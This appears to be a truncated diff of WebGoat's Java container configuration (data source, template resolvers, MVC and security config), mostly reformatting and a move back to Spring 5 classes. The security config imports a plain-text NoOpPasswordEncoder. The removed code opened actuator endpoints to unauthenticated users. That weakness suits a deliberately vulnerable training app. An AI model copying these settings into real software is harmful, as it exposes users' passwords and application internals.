+++ b/src/main/java/org/owasp/webgoat/container/LessonDataSource.java
@ -1,70 +1,70 @@
 package org.owasp.webgoat.container;

+import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
+import org.springframework.jdbc.datasource.ConnectionProxy;
+
+import javax.sql.DataSource;
 import java.io.PrintWriter;
 import java.lang.reflect.Proxy;
 import java.sql.Connection;
 import java.sql.SQLException;
 import java.sql.SQLFeatureNotSupportedException;
 import java.util.logging.Logger;
-import javax.sql.DataSource;
-import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
-import org.springframework.jdbc.datasource.ConnectionProxy;

 public class LessonDataSource implements DataSource {

-  private final DataSource originalDataSource;
+    private final DataSource originalDataSource;

-  public LessonDataSource(DataSource dataSource) {
-    this.originalDataSource = dataSource;
-  }
+    public LessonDataSource(DataSource dataSource) {
+        this.originalDataSource = dataSource;
+    }

-  @Override
-  public Connection getConnection() throws SQLException {
-    var targetConnection = originalDataSource.getConnection();
-    return (Connection)
-        Proxy.newProxyInstance(
-            ConnectionProxy.class.getClassLoader(),
-            new Class[] {ConnectionProxy.class},
-            new LessonConnectionInvocationHandler(targetConnection));
-  }
+    @Override
+    public Connection getConnection() throws SQLException {
+        var targetConnection = originalDataSource.getConnection();
+        return (Connection) Proxy.newProxyInstance(
+                ConnectionProxy.class.getClassLoader(),
+                new Class[]{ConnectionProxy.class},
+                new LessonConnectionInvocationHandler(targetConnection));
+    }

-  @Override
-  public Connection getConnection(String username, String password) throws SQLException {
-    return originalDataSource.getConnection(username, password);
-  }
+    @Override
+    public Connection getConnection(String username, String password) throws SQLException {
+        return originalDataSource.getConnection(username, password);
+    }

-  @Override
-  public PrintWriter getLogWriter() throws SQLException {
-    return originalDataSource.getLogWriter();
-  }
+    @Override
+    public PrintWriter getLogWriter() throws SQLException {
+        return originalDataSource.getLogWriter();
+    }

-  @Override
-  public void setLogWriter(PrintWriter out) throws SQLException {
-    originalDataSource.setLogWriter(out);
-  }
+    @Override
+    public void setLogWriter(PrintWriter out) throws SQLException {
+        originalDataSource.setLogWriter(out);
+    }

-  @Override
-  public void setLoginTimeout(int seconds) throws SQLException {
-    originalDataSource.setLoginTimeout(seconds);
-  }
+    @Override
+    public void setLoginTimeout(int seconds) throws SQLException {
+        originalDataSource.setLoginTimeout(seconds);
+    }

-  @Override
-  public int getLoginTimeout() throws SQLException {
-    return originalDataSource.getLoginTimeout();
-  }
+    @Override
+    public int getLoginTimeout() throws SQLException {
+        return originalDataSource.getLoginTimeout();
+    }

-  @Override
-  public Logger getParentLogger() throws SQLFeatureNotSupportedException {
-    return originalDataSource.getParentLogger();
-  }
+    @Override
+    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+        return originalDataSource.getParentLogger();
+    }

-  @Override
-  public <T> T unwrap(Class<T> clazz) throws SQLException {
-    return originalDataSource.unwrap(clazz);
-  }
+    @Override
+    public <T> T unwrap(Class<T> clazz) throws SQLException {
+        return originalDataSource.unwrap(clazz);
+    }

-  @Override
-  public boolean isWrapperFor(Class<?> clazz) throws SQLException {
-    return originalDataSource.isWrapperFor(clazz);
-  }
+    @Override
+    public boolean isWrapperFor(Class<?> clazz) throws SQLException {
+        return originalDataSource.isWrapperFor(clazz);
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java
+++ b/src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java
@ -1,41 +1,36 @@
 /**
 * ************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 *
 * @author WebGoat
 * @version $Id: $Id
 * @since October 28, 2003
 */
+
 package org.owasp.webgoat.container;

-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Set;
 import lombok.extern.slf4j.Slf4j;
 import org.springframework.core.io.ResourceLoader;
 import org.thymeleaf.IEngineConfiguration;
@ -43,48 +38,45 @@ import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresource.ITemplateResource;
 import org.thymeleaf.templateresource.StringTemplateResource;

+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
 /**
- * Dynamically resolve a lesson. In the html file this can be invoked as: <code>
+ * Dynamically resolve a lesson. In the html file this can be invoked as:
+ *
+ * <code>
 * <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
 * </code>
- *
- * <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve
- * the html in the plugins directory
+ * <p>
+ * Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve the html in the plugins directory
 */
@Slf4j
 public class LessonTemplateResolver extends FileTemplateResolver {

-  private static final String PREFIX = "lesson:";
-  private ResourceLoader resourceLoader;
-  private Map<String, byte[]> resources = new HashMap<>();
+    private static final String PREFIX = "lesson:";
+    private ResourceLoader resourceLoader;
+    private Map<String, byte[]> resources = new HashMap<>();

-  public LessonTemplateResolver(ResourceLoader resourceLoader) {
-    this.resourceLoader = resourceLoader;
-    setResolvablePatterns(Set.of(PREFIX + "*"));
-  }
-
-  @Override
-  protected ITemplateResource computeTemplateResource(
-      IEngineConfiguration configuration,
-      String ownerTemplate,
-      String template,
-      String resourceName,
-      String characterEncoding,
-      Map<String, Object> templateResolutionAttributes) {
-    var templateName = resourceName.substring(PREFIX.length());
-    byte[] resource = resources.get(templateName);
-    if (resource == null) {
-      try {
-        resource =
-            resourceLoader
-                .getResource("classpath:/" + templateName)
-                .getInputStream()
-                .readAllBytes();
-      } catch (IOException e) {
-        log.error("Unable to find lesson HTML: {}", template);
-      }
-      resources.put(templateName, resource);
+    public LessonTemplateResolver(ResourceLoader resourceLoader) {
+        this.resourceLoader = resourceLoader;
+        setResolvablePatterns(Set.of(PREFIX + "*"));
+    }
+
+    @Override
+    protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
+        var templateName = resourceName.substring(PREFIX.length());
+        byte[] resource = resources.get(templateName);
+        if (resource == null) {
+            try {
+                resource = resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
+            } catch (IOException e) {
+                log.error("Unable to find lesson HTML: {}", template);
+            }
+            resources.put(templateName, resource);
+        }
+        return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
    }
-    return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java
+++ b/src/main/java/org/owasp/webgoat/container/MvcConfiguration.java
@ -1,42 +1,37 @@
 /**
 * ************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 *
 * @author WebGoat
 * @version $Id: $Id
 * @since October 28, 2003
 */
+
 package org.owasp.webgoat.container;

-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.util.Map;
-import java.util.Set;
 import lombok.RequiredArgsConstructor;
-import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.i18n.Language;
 import org.owasp.webgoat.container.i18n.Messages;
 import org.owasp.webgoat.container.i18n.PluginMessages;
@ -49,212 +44,175 @@ import org.springframework.core.io.ResourceLoader;
 import org.springframework.core.io.support.ResourcePatternResolver;
 import org.springframework.web.servlet.LocaleResolver;
 import org.springframework.web.servlet.ViewResolver;
-import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
 import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
 import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
 import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
-import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 import org.thymeleaf.IEngineConfiguration;
-import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
-import org.thymeleaf.spring6.SpringTemplateEngine;
-import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
-import org.thymeleaf.spring6.view.ThymeleafViewResolver;
+import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
+import org.thymeleaf.spring5.SpringTemplateEngine;
+import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
+import org.thymeleaf.spring5.view.ThymeleafViewResolver;
 import org.thymeleaf.templatemode.TemplateMode;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresolver.ITemplateResolver;
 import org.thymeleaf.templateresource.ITemplateResource;
 import org.thymeleaf.templateresource.StringTemplateResource;

-/** Configuration for Spring MVC */
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Configuration for Spring MVC
+ */
@Configuration
@RequiredArgsConstructor
-@Slf4j
 public class MvcConfiguration implements WebMvcConfigurer {

-  private static final String UTF8 = "UTF-8";
+    private static final String UTF8 = "UTF-8";

-  private final LessonScanner lessonScanner;
+    private final LessonScanner lessonScanner;

-  @Override
-  public void addViewControllers(ViewControllerRegistry registry) {
-    registry.addViewController("/login").setViewName("login");
-    registry.addViewController("/lesson_content").setViewName("lesson_content");
-    registry.addViewController("/start.mvc").setViewName("main_new");
-    registry.addViewController("/scoreboard").setViewName("scoreboard");
-  }
+    @Override
+    public void addViewControllers(ViewControllerRegistry registry) {
+        registry.addViewController("/login").setViewName("login");
+        registry.addViewController("/lesson_content").setViewName("lesson_content");
+        registry.addViewController("/start.mvc").setViewName("main_new");
+        registry.addViewController("/scoreboard").setViewName("scoreboard");
+    }

-  @Bean
-  public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
-    ThymeleafViewResolver resolver = new ThymeleafViewResolver();
-    resolver.setTemplateEngine(thymeleafTemplateEngine);
-    resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
-    return resolver;
-  }
+    @Bean
+    public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
+        ThymeleafViewResolver resolver = new ThymeleafViewResolver();
+        resolver.setTemplateEngine(thymeleafTemplateEngine);
+        resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
+        return resolver;
+    }

-  /**
-   * Responsible for loading lesson templates based on Thymeleaf, for example:
-   *
-   * <p><div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
-   */
-  @Bean
-  public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
-    var resolver =
-        new FileTemplateResolver() {
-          @Override
-          protected ITemplateResource computeTemplateResource(
-              IEngineConfiguration configuration,
-              String ownerTemplate,
-              String template,
-              String resourceName,
-              String characterEncoding,
-              Map<String, Object> templateResolutionAttributes) {
-            try (var is =
-                resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
-              return new StringTemplateResource(
-                  new String(is.readAllBytes(), StandardCharsets.UTF_8));
-            } catch (IOException e) {
-              return null;
+    /**
+     * Responsible for loading lesson templates based on Thymeleaf, for example:
+     *
+     * <div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
+     */
+    @Bean
+    public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
+        var resolver = new FileTemplateResolver() {
+            @Override
+            protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
+               try (var is = resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
+                    return new StringTemplateResource(new String(is.readAllBytes(), StandardCharsets.UTF_8));
+               } catch (IOException e) {
+                   return null;
+               }
            }
-          }
        };
-    resolver.setOrder(1);
-    return resolver;
-  }
+        resolver.setOrder(1);
+        return resolver;
+    }

-  /** Loads all normal WebGoat specific Thymeleaf templates */
-  @Bean
-  public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
-    SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
-    resolver.setPrefix("classpath:/webgoat/templates/");
-    resolver.setSuffix(".html");
-    resolver.setTemplateMode(TemplateMode.HTML);
-    resolver.setOrder(2);
-    resolver.setCharacterEncoding(UTF8);
-    resolver.setApplicationContext(applicationContext);
-    return resolver;
-  }
+    /**
+     * Loads all normal WebGoat specific Thymeleaf templates
+     */
+    @Bean
+    public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
+        SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
+        resolver.setPrefix("classpath:/webgoat/templates/");
+        resolver.setSuffix(".html");
+        resolver.setTemplateMode(TemplateMode.HTML);
+        resolver.setOrder(2);
+        resolver.setCharacterEncoding(UTF8);
+        resolver.setApplicationContext(applicationContext);
+        return resolver;
+    }

-  /** Loads the html for the complete lesson, see lesson_content.html */
-  @Bean
-  public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
-    LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
-    resolver.setOrder(0);
-    resolver.setCacheable(false);
-    resolver.setCharacterEncoding(UTF8);
-    return resolver;
-  }
+    /**
+     * Loads the html for the complete lesson, see lesson_content.html
+     */
+    @Bean
+    public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
+        LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
+        resolver.setOrder(0);
+        resolver.setCacheable(false);
+        resolver.setCharacterEncoding(UTF8);
+        return resolver;
+    }

-  /** Loads the lesson asciidoc. */
-  @Bean
-  public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(
-      Language language, ResourceLoader resourceLoader) {
-    log.debug("template locale {}", language);
-    AsciiDoctorTemplateResolver resolver =
-        new AsciiDoctorTemplateResolver(language, resourceLoader);
-    resolver.setCacheable(false);
-    resolver.setOrder(1);
-    resolver.setCharacterEncoding(UTF8);
-    return resolver;
-  }
+    /**
+     * Loads the lesson asciidoc.
+     */
+    @Bean
+    public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
+        AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(resourceLoader);
+        resolver.setCacheable(false);
+        resolver.setOrder(1);
+        resolver.setCharacterEncoding(UTF8);
+        return resolver;
+    }

-  @Bean
-  public SpringTemplateEngine thymeleafTemplateEngine(
-      ITemplateResolver springThymeleafTemplateResolver,
-      LessonTemplateResolver lessonTemplateResolver,
-      AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
-      ITemplateResolver lessonThymeleafTemplateResolver) {
-    SpringTemplateEngine engine = new SpringTemplateEngine();
-    engine.setEnableSpringELCompiler(true);
-    engine.addDialect(new SpringSecurityDialect());
-    engine.setTemplateResolvers(
-        Set.of(
-            lessonTemplateResolver,
-            asciiDoctorTemplateResolver,
-            lessonThymeleafTemplateResolver,
-            springThymeleafTemplateResolver));
-    return engine;
-  }
+    @Bean
+    public SpringTemplateEngine thymeleafTemplateEngine(ITemplateResolver springThymeleafTemplateResolver,
+                                                        LessonTemplateResolver lessonTemplateResolver,
+                                                        AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
+                                                        ITemplateResolver lessonThymeleafTemplateResolver) {
+        SpringTemplateEngine engine = new SpringTemplateEngine();
+        engine.setEnableSpringELCompiler(true);
+        engine.addDialect(new SpringSecurityDialect());
+        engine.setTemplateResolvers(
+                Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, lessonThymeleafTemplateResolver, springThymeleafTemplateResolver));
+        return engine;
+    }

-  @Override
-  public void addResourceHandlers(ResourceHandlerRegistry registry) {
-    // WebGoat internal
-    registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
-    registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/");
-    registry
-        .addResourceHandler("/plugins/**")
-        .addResourceLocations("classpath:/webgoat/static/plugins/");
-    registry
-        .addResourceHandler("/fonts/**")
-        .addResourceLocations("classpath:/webgoat/static/fonts/");
+    @Override
+    public void addResourceHandlers(ResourceHandlerRegistry registry) {
+        //WebGoat internal
+        registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
+        registry.addResourceHandler("/js/**")
+                .addResourceLocations("classpath:/webgoat/static/js/");
+        registry.addResourceHandler("/plugins/**").addResourceLocations("classpath:/webgoat/static/plugins/");
+        registry.addResourceHandler("/fonts/**").addResourceLocations("classpath:/webgoat/static/fonts/");

-    // WebGoat lessons
-    registry
-        .addResourceHandler("/images/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/lesson_js/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/lesson_css/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/lesson_templates/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/video/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
-  }
+        //WebGoat lessons
+        registry.addResourceHandler("/images/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_js/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_css/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_templates/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
+        registry.addResourceHandler("/video/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
+    }

-  @Bean
-  public PluginMessages pluginMessages(
-      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
-    PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
-    pluginMessages.setDefaultEncoding("UTF-8");
-    pluginMessages.setBasenames("i18n/WebGoatLabels");
-    pluginMessages.setFallbackToSystemLocale(false);
-    return pluginMessages;
-  }
+    @Bean
+    public PluginMessages pluginMessages(Messages messages, Language language,
+                                         ResourcePatternResolver resourcePatternResolver) {
+        PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
+        pluginMessages.setDefaultEncoding("UTF-8");
+        pluginMessages.setBasenames("i18n/WebGoatLabels");
+        pluginMessages.setFallbackToSystemLocale(false);
+        return pluginMessages;
+    }

-  @Bean
-  public Language language(LocaleResolver localeResolver) {
-    return new Language(localeResolver);
-  }
+    @Bean
+    public Language language(LocaleResolver localeResolver) {
+        return new Language(localeResolver);
+    }

-  @Bean
-  public LocaleResolver localeResolver() {
-    SessionLocaleResolver localeResolver = new SessionLocaleResolver();
-    return localeResolver;
-  }
+    @Bean
+    public Messages messageSource(Language language) {
+        Messages messages = new Messages(language);
+        messages.setDefaultEncoding("UTF-8");
+        messages.setBasename("classpath:i18n/messages");
+        messages.setFallbackToSystemLocale(false);
+        return messages;
+    }

-  @Bean
-  public LocaleChangeInterceptor localeChangeInterceptor() {
-    LocaleChangeInterceptor lci = new LocaleChangeInterceptor();
-    lci.setParamName("lang");
-    return lci;
-  }
+    @Bean
+    public LocaleResolver localeResolver() {
+        return new SessionLocaleResolver();
+    }

-  @Override
-  public void addInterceptors(InterceptorRegistry registry) {
-    registry.addInterceptor(localeChangeInterceptor());
-  }
+    @Bean
+    public LabelDebugger labelDebugger() {
+        return new LabelDebugger();
+    }

-  @Bean
-  public Messages messageSource(Language language) {
-    Messages messages = new Messages(language);
-    messages.setDefaultEncoding("UTF-8");
-    messages.setBasename("classpath:i18n/messages");
-    messages.setFallbackToSystemLocale(false);
-    return messages;
-  }
-
-  @Bean
-  public LabelDebugger labelDebugger() {
-    return new LabelDebugger();
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/WebGoat.java
+++ b/src/main/java/org/owasp/webgoat/container/WebGoat.java
@ -1,37 +1,36 @@
 /**
 * ************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 *
 * @author WebGoat
 * @version $Id: $Id
 * @since October 28, 2003
 */
+
 package org.owasp.webgoat.container;

-import java.io.File;
 import org.owasp.webgoat.container.session.UserSessionData;
 import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.beans.factory.annotation.Value;
@ -44,31 +43,33 @@ import org.springframework.context.annotation.Scope;
 import org.springframework.context.annotation.ScopedProxyMode;
 import org.springframework.web.client.RestTemplate;

+import java.io.File;
+
@Configuration
-@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
+@ComponentScan(basePackages = { "org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
@PropertySource("classpath:application-webgoat.properties")
@EnableAutoConfiguration
 public class WebGoat {

-  @Bean(name = "pluginTargetDirectory")
-  public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
-    return new File(webgoatHome);
-  }
+    @Bean(name = "pluginTargetDirectory")
+    public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
+        return new File(webgoatHome);
+    }

-  @Bean
-  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
-  public WebSession webSession() {
-    return new WebSession();
-  }
+    @Bean
+    @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
+    public WebSession webSession() {
+        return new WebSession();
+    }

-  @Bean
-  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
-  public UserSessionData userSessionData() {
-    return new UserSessionData("test", "data");
-  }
+    @Bean
+    @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
+    public UserSessionData userSessionData() {
+        return new UserSessionData("test", "data");
+    }

-  @Bean
-  public RestTemplate restTemplate() {
-    return new RestTemplate();
-  }
+    @Bean
+    public RestTemplate restTemplate() {
+        return new RestTemplate();
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java
+++ b/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java
@ -2,32 +2,32 @@
 * ************************************************************************************************
 * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 * <p>
 *
 * @author WebGoat
 * @version $Id: $Id
 * @since December 12, 2015
 */
+
 package org.owasp.webgoat.container;

 import lombok.AllArgsConstructor;
@ -37,70 +37,64 @@ import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.security.authentication.AuthenticationManager;
 import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
-import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
 import org.springframework.security.config.annotation.web.builders.HttpSecurity;
 import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
 import org.springframework.security.core.userdetails.UserDetailsService;
 import org.springframework.security.crypto.password.NoOpPasswordEncoder;
-import org.springframework.security.web.SecurityFilterChain;

-/** Security configuration for WebGoat. */
+/**
+ * Security configuration for WebGoat.
+ */
@Configuration
@AllArgsConstructor
@EnableWebSecurity
-public class WebSecurityConfig {
+public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

-  private final UserService userDetailsService;
+    private final UserService userDetailsService;

-  @Bean
-  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
-    http.authorizeHttpRequests(
-        auth ->
-            auth.requestMatchers(
-                    "/css/**",
-                    "/images/**",
-                    "/js/**",
-                    "fonts/**",
-                    "/plugins/**",
-                    "/registration",
-                    "/register.mvc",
-                    "/actuator/**")
-                .permitAll()
-                .anyRequest()
-                .authenticated());
-    http.formLogin()
-        .loginPage("/login")
-        .defaultSuccessUrl("/welcome.mvc", true)
-        .usernameParameter("username")
-        .passwordParameter("password")
-        .permitAll();
